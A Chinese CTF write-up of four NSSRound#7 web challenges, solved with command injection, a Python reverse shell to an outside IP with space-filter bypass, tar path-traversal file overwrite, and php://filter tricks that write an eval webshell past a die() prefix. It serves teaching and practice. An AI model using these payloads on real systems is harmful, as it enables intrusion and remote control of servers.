[NSSRound#7 Team]Web学习

news2024/11/15 21:23:03

系列文章目录


提示:写完文章后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • 系列文章目录
  • 一、ecRCE
  • 二、Shadowflag
  • 三、[NSSRound#7 Team]新的博客
  • 四、[NSSRound#7 Team]0o0


提示:以下是本篇文章正文内容,下面案例可供参考

一、ecRCE

进入题目直接给出了源码:

 <!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW -->
<!-- By 探姬 -->
<?PHP
    
    if(!isset($_POST["action"]) && !isset($_POST["data"]))
        show_source(__FILE__);

    putenv('LANG=zh_TW.utf8'); 

    $action = $_POST["action"];
    $data = "'".$_POST["data"]."'";

    $output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
    echo $output;    
?> 

直接使用了shell_exec运行了一个java文件,后面接了 a c t i o n 和 action和 actiondata变量,可以使用管道符直接运行命令。
在这里插入图片描述

二、Shadowflag

  1. 进入题目直接给出源码
from flask import Flask, request
import os
from time import sleep

app = Flask(__name__)

flag1 = open("/tmp/flag1.txt", "r")
with open("/tmp/flag2.txt", "r") as f:
    flag2 = f.read()
tag = False


@app.route("/")
def index():
    with open("app.py", "r+") as f:
        return f.read()


@app.route("/shell", methods=['POST'])
def shell():
    global tag
    if tag != True:
        global flag1
        del flag1
        tag = True
    os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt")
    action = request.form["act"]
    if action.find(" ") != -1:
        return "Nonono"
    else:
        os.system(action)
    return "Wow"


@app.errorhandler(404)
def error_date(error):
    sleep(5)
    return "扫扫扫,扫啥东方明珠呢[怒]"


if __name__ == "__main__":
    app.run()

访问了一下/console,是存在的,证明debug是开启的,源码中rm了flag1可以尝试下在不在进程proc中,flag2存在于python运行的程序中,需要调试程序,os.system()应该是用于反弹shell(其中要不包含空格,可以使用 I F S 、 IFS、 IFSIFS$9等绕过空格),让用户得知文件信息计算PIN码,进入控制台调试得到flag2。

  1. 反弹shell
    在这里插入图片描述

开始尝试使用bash反弹shell,但是好像反弹不成功,然后就上网找python的反弹shell。
python3 I F S − c {IFS}-c IFSc{IFS}‘socket=import(“socket”);os=import(“os”);pty=import(“pty”);s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“120.79.29.170”,4000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(“/bin/sh”)’
原理就是使用python创建套接字,定义一个唯一进程,向主机发起连接,通过os.dup2()进行重定向,0,1,2表示输入、输出、错误内容都传送到socket,然后使用/bin/sh让shell可以进行交互。

  1. 查找删除flag1的进程是否未关闭
    在这里插入图片描述

在进程18中找到rm的进程,还未关闭,可以直接读取出来,原因就是在linux删除文件时,某个程序直接使用或者占用这个文件,执行删除命令并没有立刻删除,占用的空间也没有被回收等原因。

  1. 读取计算PIN码的数据
    在这里插入图片描述

由于是docker机的原因所以这里没有/etc/machine-id,所以要读取/proc/sys/kernel/random/boot_id,至于如何生成PIN码,NSSROUND#6中已经分析过。

  1. 进入控制台调试得到flag2
    在这里插入图片描述

三、[NSSRound#7 Team]新的博客

  1. 进入题目
    在这里插入图片描述

存在url跳转,只有上面好险啊能够跳转,存在注册和登录功能,注册后进入看看。
在这里插入图片描述
提示了源码的目录,两次base和hex得到了static/www.tar.gz,并且存在备份和下载接口,直至看到可以上传tar.gz后缀名文件,并且看到了是python写的,就猜到了跟ROUND6一样,应该是python那个文件覆盖漏洞,下载文件回来,提示使用admin登录即可获得flag,并且conf中存在json格式使用sha512加密的密码,应该是上传userinfo.json文件覆盖掉原来的,然后便可以使用admin登录。

先使用sha512加密,制造一个userinfo.json的文件:

import hashlib
import json

password='123456'
with open('userinfo.json','wb') as file:
    file.write(json.dumps({'admin':hashlib.sha512(password.encode('utf-8')).hexdigest()}).encode('utf-8'))

然后就是压缩成tar.gz文件,但是python的文件覆盖目录和路径要几乎一致,于是需要得到存放的目录路径,从/blog/backup中,可以看到是以为用户名开头的目录,然后源码是www/app/conf/userinfo.json,所以conf前面应该还有两个目录,压缩的时候,要一致,可以为 用户名/…/…/conf/userinfo.json,压缩好后上传,注销,使用123456登录admin即得到了flag。
在这里插入图片描述

四、[NSSRound#7 Team]0o0

  1. 这题很tips,没有见过,所以看WP学习了,觉得很有意思,首先进入题目:
    在这里插入图片描述
  2. GET访问S0uRc3进入第一层level,源码:
<?php
header('get:S0uRc3');
error_reporting(0);
set_include_path('Round7/');
// include: Nss
// include: level2
if (isset($_GET['0o0'])) {
    $O0O = file_get_contents($_GET['0o0'],1);
    if (strpos($O0O, 'Round7') === 0) {
        die('NO!!!!!   Permission denied!');
    } else if (strpos($O0O, 'Xy1on') === 0) {
        echo $O0O;
        die();
    } else {
        die("Nothing!!!");
    }
}
if(isset($_GET['S0uRc3'])){
    highlight_file(__FILE__);
    $O0O = file_get_contents('CTF',1);
    echo $O0O;
}else{
    echo "Nothing here";

}
?>

目录是Round7,通过strpos()函数查找Xy1on要出现在0的位置上,输出file_get_content()获取到的文件,这里需要获取的是level2,但是获取level2时候要有Xy1on出现在头位置,通过github的工具梭 https://github.com/synacktiv/php_filter_chain_generator

![在这里插入图片描述](https://img-blog.csdnimg.cn/b371bfb62941424bb73c6962d030c5d6.png
在这里插入图片描述
在这里插入图片描述

  1. 访问Ns_SCtF.php,得到源码:
 <?php
error_reporting(0);
highlight_file(__FILE__);

$NSSCTF = $_GET['NSSCTF'] ?: '';
$NsSCTF = $_GET['NsSCTF'] ?: '';
$NsScTF = $_GET['NsScTF'] ?: '';
$NsScTf = $_GET['NsScTf'] ?: '';
$NSScTf = $_GET['NSScTf'] ?: '';
$nSScTF = $_GET['nSScTF'] ?: '';
$nSscTF = $_GET['nSscTF'] ?: '';

if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {
    if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) {
        if (file_get_contents($NsScTf) === "Welcome to Round7!!!") {
            if (isset($_GET['nss_ctfer.vip'])) {
                if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {
                    $nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";
                    if ($nss && $nSscTF === "NSSRound7") {
                        if (isset($_POST['submit'])) {
                            $file_name = urldecode($_FILES['file']['name']);
                            $path = $_FILES['file']['tmp_name'];
                            if(strpos($file_name, ".png") == false){
                                die("NoO0P00oO0! Png! pNg! pnG!");
                            }
                            $content = file_get_contents($path);
                            $real_content = '<?php die("Round7 do you like");'. $content . '?>';
                            $real_name = fopen($file_name, "w");
                            fwrite($real_name, $real_content);
                            fclose($real_name);
                            echo "OoO0o0hhh.";
                        } else {
                            die("NoO0oO0oO0!");
                        }
                    } else {
                        die("N0o0o0oO0o!");
                    }
                } else {
                    die("NoOo00O0o0!");
                }
            } else {
                die("Noo0oO0oOo!");
            }
        } else {
            die("NO0o0oO0oO!");
        }
    } else {
        die("No0o0o000O!");
    }
} else {
    die("NO0o0o0o0o!");
} NO0o0o0o0o!

首先是各自绕过,第一层数组绕过,NSSCTF[]=1&NSSCTF[]=2,第二层是in_array()第三个参数没有直接strict导致可以绕过,NsScTF=1q,第三层是伪协议NsScTf=data://text/plain,Welcome to Round7!!!,第四层nss_ctfer.vip注意变为nss[ctfer.vip(因为PHP匹配的时候会自动将[.变成下划线,有且仅变一次),第五层是intval()绕过,字符串使用科学计数法,会默认是前面的数字,比如’1e1’转化变成1,NSScTf=114514e1,第五层直接nSScTF=1,$nSscTF=NSSRound7。这里的关键是文件上传,通过strops()检测文件的名称是否存在png,直接改增加png即可绕过,关键是会将<?php die(“Round7 do you like”);写入到文件中,所以就导致了传入的虽然是php文件,但是会终止。这里也是使用上面同一个tips,使用过滤器使用文件,如php://filter/write=convert.base64-decode/resource=aiwin.png.php,让写入内容进行base64解码,这里要使用URL编码,绕过/resource=aiwin.png.php作为文件名,然后在文件写入的内容中构造base64,使得<?php die(“Round7 do you like”);被不正常解码,造成死亡绕过。

效果如下:

<?php
$strrr = '<?php die("Round7 do you like");aaaPD9waHAKQGV2YWwoJF9QT1NUWzFdKTsKCj8+';
echo base64_decode($strrr);

#输出:�]��h�w{v���X�y��<?php
#
# @eval($_POST[1]);?>

为什么是加了3个a呢,因为使用base64过滤器解码时,php首先会自动跳过不在表中的字符,就变成了phpdieRound7doyoulike,21个字符,base64解码又是以4byte一组,加3个字符变成24个刚好被base64解码,后面我们的一句话木马也刚好被base64成功解码。

在这里插入图片描述
这里当然也可以使用其它进行绕过,使用rot13不行,会出现报错,返回数据为空,如下:
在这里插入图片描述
可以使用usc-2等等其它的:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. 通过蚁剑得到flag
    在这里插入图片描述
    除了base64,还有许多绕过,如绕过下面的代码:
<?php
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename,'<?php die("Round7 do you like");'.$content);

  1. rot13绕过:rot13会忽略非字母表的字符,通过进行rot13解码,所以也可以进行恶意构造
    在这里插入图片描述

当然这里利用需要php关闭short_open_tag,使得php开始的缩写标志<??>不使用

  1. string.strip_tags绕过:从字符串中去除PHP标记,空字符的结果,可以使用|进行多种过滤器完成绕过。
    在这里插入图片描述

string.strip_tags直接把<?php die(“Round7 do you like”);给去除掉,然后使用base64解码一句话木马。

  1. convert.iconv.usc-2、usc-4都一样:对目标字符串进行2位或4位一反转,即将两个字符反转,一般构造的代码得是2的倍数
    在这里插入图片描述
    等等等等

总的来说,在进行file_get_content(),read(),readfile()时以上原理通过不同的过滤器构造恶意语句,从而使得死亡语句不生效。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/188494.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【异常】发送失败,此请求可能存在风险,已被微信拦截

一、背景说明 今天上线了新年红包的功能&#xff0c;但是部分用户提示了如下的异常&#xff0c;没有明显的异常提示&#xff0c;就是在查询ELK时&#xff0c;看了如下的错误提示&#xff0c;错误截图如图 提示“发送失败&#xff0c;此请求可能存在风险&#xff0c;已被微信拦…

【Redis】hmdp点赞、排行榜、分页功能的实现

【Redis】hmdp点赞、排行榜、分页功能的实现 文章目录【Redis】hmdp点赞、排行榜、分页功能的实现1.点赞功能实现1.1 需求1.2 实现步骤1.3 思路分析1.4 代码实现1.5 逻辑解析2. 排行榜功能实现2.1 需求2.2 实现步骤2.3 思路分析2.4 代码实现2.5 逻辑解析3. 分页功能实现3.1 需求…

算法之美~贪心算法

如何理解贪心算法&#xff1f;假设有一个可以容纳100kg物品的背包&#xff0c;可以装各种物品。有以下5种豆子&#xff0c;每种豆子的总量和总价值都各不相同。为了让背包中所装物品的总价值最大&#xff0c;如何选择在背包中装哪些豆子&#xff1f;每种豆子又该装多少呢&#…

Pikachu靶场攻略(代码分析)

2023年将会持续于B站、CSDN等各大平台更新&#xff0c;可加入粉丝群与博主交流:838681355&#xff0c;为了老板大G共同努力。 一、安装 Phpstudy_pro设置数据库用户名密码 root 123456 更改\pikachu\inc\config.inc.php 访问pikachu页面点击配置即可。 二、 攻略(包含审计…

BiQuadDesigner相关算法研究

一、获取相关源码方法如下 1、打开BiQuadDesigner相关网页如下 2、菜单:更多工具->开发者工具 3、在此重点研究BiQuadDesigner,选择BiQuadDesigner下的javascript,分别查看BiQuad.js和BiQuadFilter.js 二、研究频响曲线生成步骤如下 1、参数输入及换算滤波器系数如下参…

【数据结构基础】线性表 - 栈和队列

知识点栈 - LIFO示意图实现使用数组实现的叫静态栈使用链表实现的叫动态栈队列 - FIFO示意图实现使用数组实现的叫静态队列使用链表实现的叫动态队列栈和队列相关题目用栈实现队列232. Implement Queue using Stacks (Easy)栈的顺序为后进先出&#xff0c;而队列的顺序为先进先…

【前端设计】复位保护模块的整体设计思路

前言 复位保护模块,是在单系统进行动态复位的过程中,对接口进行硬性逻辑保护,避免异步复位过程中的毛刺对周围系统产生影响的模块。一般而言,简单的单系统动态复位流程可以归纳为: 停止业务功能,收齐接口上的rsp,进入待复位状态;使能复位保护,通过逻辑避免毛刺和误触…

【SCL】博图SCL语言回顾和第一个面向对象程序

西门子SCL语言回顾复习和编写第1个面向对象程序 &#xff08;形参&#xff1a;形参指的是指令上标记该指令要使用的数据位置的标识符;简单来说就是只有数据类型&#xff0c;没有实际的地址&#xff0c;在调用时可以写入&#xff09;。 &#xff08;实参&#xff1a;实参指的是包…

并发编程学习(九):同步模式之顺序控制、交替打印

1、固定运行顺序例如&#xff1a;两个线程&#xff0c;运行是必须先2后1打印。1.1、Object之wait、notify版在同步代码块中&#xff0c;wait开始后&#xff0c;CPU将释放给另一个线程使用&#xff0c;直到①若wait(xxxx)&#xff0c;则x秒后当前线程被唤醒&#xff0c;继续占用…

STM32项目设计:基于stm32f103c8t6智能电梯系统

文章目录一、项目功能概述二、项目材料选择三、原理图设计四、PCB板设计五、主程序设计六、成品展示资料链接&#xff1a;待更新~ 哔哩哔哩视频链接&#xff1a;https://www.bilibili.com/video/BV17D4y1V7HG/?vd_sourcee5082ef80535e952b2a4301746491be0&#xff08;bilibili…

STM32G431——串口通信

蓝桥杯嵌入式——串口通信 目录 USART 电平标准-TTL 电平标准与 RS232 电平标准 232通信标准 USB转232 异步通信 串口配置 程序设计 重定向 串口发送函数 发送字符串 串口接收——中断 1.USART 通用同步异步收发器(USART)提供了一种灵活的方法与使用工业标准NRZ异…

集成测试最全详解,看完必须懂了

什么是集成测试 集成测试&#xff08;Integration Testing&#xff09;&#xff0c;也叫组装测试或联合测试。在单元测试的基础上&#xff0c;将所有模块按照设计要求&#xff08;如根据结构图&#xff09;组装成为子系统或系统&#xff0c;进行集成测试。 集成测试&#xff…

chatgpt的一些思考

结论国内同行对chatgpt的认识是不够的&#xff0c;太轻视这个模式的颠覆性认知chatgpt是对思维过程的仿真&#xff0c;rlhf过程就是通过强化学习方式在利用人思维过程训练模型chatgpt比搜索更通用化&#xff0c;搜索是对单个点信息的匹配&#xff0c;chatgpt是对思维链一个序列…

【python】多任务编程之线程、进程知识点详细总结

目录 多任务的执行方式 进程 概念 python多进程 线程 概念 python多线程 线程同步方式 线程等待 互斥锁 死锁 线程和进程对比 多任务的执行方式 进程 概念 python多进程 Windows下的main判断process进程类import multiprocessing import time def sing():for i i…

Unix环境高级编程_进程环境_启动代码,环境变量表,进程内存结构,库

这是《UNIX环境高级编程》第7章内容&#xff0c;这篇文章记录进程所需要的环境。 4 进程环境 程序加载到内存&#xff0c;运行起来后就成为了进程。就像人活着需要生活环境&#xff08;衣食住行的环境&#xff09;一样&#xff0c;进程也需要运行环境&#xff0c;进程所需要的…

Vue组件生命周期与钩子函数

组件生命周期 ​ 组件&#xff08;组件是可复用的 Vue 实例&#xff09;从创建到销毁的过程就是组件的生命周期&#xff0c;是一个时间段。 组件生命周期钩子函数 &#xff08;vue3与vue2生命周期钩子函数略有不同&#xff0c;本文以vue2为主&#xff09; ​ VUE 提供的生命…

科研快报 | 三代测序技术-海水微生物态,助力海水微生态及微生物基因组研究

PacBio研究专题二代测序读长偏短&#xff0c;环境宏基因组样品研究受到了很大限制。作者通过三代测序对来自地中海的冬季混合海水样本进行宏基因组测序。利用PacBio Sequel II平台的超长读长明显可以提升宏基因组的组装质量&#xff0c;又能显著提升MAGs质量。研究人员通过比较…

使用和登录Linux云服务器

目录 云服务器的购买 SSH登录云服务器 云服务器的购买 我们以腾讯云为例, 其他的服务器厂商也是类似。 1. 进入腾讯云官方网站&#xff1a;学生云服务器_云校园特惠套餐 - 腾讯云 (tencent.com) 2. 登陆网站(可以使用微信登陆) 3.购买云服务器 购买最低级即可&#xff0c;对于…

python - 科研文献作图复现1

记录阅读文献过程中&#xff0c;通过python复现原文的一些脚本 想要复现的文章原图如下所示 原文链接&#xff1a; https://file.scirp.org/Html/4-2430166_82999.htm 首先&#xff0c;对于原图进行简要观察。 这是一张折线图&#xff0c;绘制了6条不同颜色的折线来表示不同…

舆情监控软件免费下载,TOOM网络舆情监控软件服务流程?

舆情监测可以帮助个人和企业了解自己的网络形象&#xff0c;提高自我评价和评价能力&#xff0c;提升自我定位和竞争力。接下来简单了解舆情监控软件免费下载&#xff0c;TOOM网络舆情监控软件服务流程? 一、舆情监控软件免费下载 请登录TOOM舆情官网获取链接 1.企业客户&a…